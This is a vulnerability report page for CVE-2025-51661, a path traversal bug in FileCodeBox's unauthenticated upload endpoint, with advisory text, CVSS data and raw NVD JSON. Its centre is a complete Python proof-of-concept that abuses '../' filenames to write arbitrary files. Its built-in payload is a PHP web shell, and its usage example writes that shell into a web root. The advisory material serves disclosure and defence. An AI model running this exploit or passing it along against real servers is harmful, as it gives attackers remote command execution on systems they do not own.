Security Vulnerability Report
中文
CVE-2025-51661 CVSS 7.5 HIGH

CVE-2025-51661

Published: 2025-11-19 20:15:53
Last Modified: 2025-11-24 19:35:14

Description

A path Traversal vulnerability found in FileCodeBox v2.2 and earlier allows arbitrary file writes when application is configured to use local filesystem storage. SystemFileStorage.save_file method in core/storage.py uses filenames from user input without validation to construct save_path and save files. This allows remote attackers to perform arbitrary file writes outside the intended directory by sending crafted POST requests with malicious traversal sequences to /share/file/ upload endpoint, which does not require any authorization.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:lanol:filecodebox:*:*:*:*:*:*:*:* - VULNERABLE
FileCodeBox < v2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-51661 PoC - Path Traversal leading to Arbitrary File Write in FileCodeBox v2.2 # Target: FileCodeBox with local filesystem storage configuration def exploit(target_url, file_content, target_path): """ Exploit path traversal vulnerability to write arbitrary files Args: target_url: Base URL of the vulnerable FileCodeBox instance file_content: Content to write to the target file target_path: Path where the file should be written (use ../ for traversal) Returns: bool: True if exploitation appears successful, False otherwise """ upload_url = f"{target_url.rstrip('/')}/share/file/" # Prepare the malicious filename with path traversal sequence # This will escape the intended upload directory malicious_filename = f"../../../{target_path}" # Prepare multipart form data files = { 'file': (malicious_filename, file_content, 'text/plain') } try: # Send the malicious upload request response = requests.post(upload_url, files=files, timeout=10) # Check if the upload was successful if response.status_code == 200: print(f"[+] File upload request sent successfully") print(f"[+] Target path: {target_path}") print(f"[+] Response: {response.text[:200]}") return True else: print(f"[-] Upload failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_51661_poc.py <target_url> <target_path>") print("Example: python cve_2025_51661_poc.py http://localhost:8000 var/www/html/shell.php") sys.exit(1) target = sys.argv[1] path = sys.argv[2] # Malicious content to write content = "<?php system($_GET['cmd']); ?>" print(f"[*] Exploiting CVE-2025-51661: FileCodeBox Path Traversal") print(f"[*] Target: {target}") print(f"[*] Writing to: {path}") exploit(target, content, path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-51661", "sourceIdentifier": "[email protected]", "published": "2025-11-19T20:15:52.867", "lastModified": "2025-11-24T19:35:13.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A path Traversal vulnerability found in FileCodeBox v2.2 and earlier allows arbitrary file writes when application is configured to use local filesystem storage. SystemFileStorage.save_file method in core/storage.py uses filenames from user input without validation to construct save_path and save files. This allows remote attackers to perform arbitrary file writes outside the intended directory by sending crafted POST requests with malicious traversal sequences to /share/file/ upload endpoint, which does not require any authorization."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-24"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lanol:filecodebox:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.2", "matchCriteriaId": "F79F1C73-2F99-49E2-8B8F-64900B8E51FB"}]}]}], "references": [{"url": "https://github.com/vastsa/FileCodeBox", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/vastsa/FileCodeBox/issues/349", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}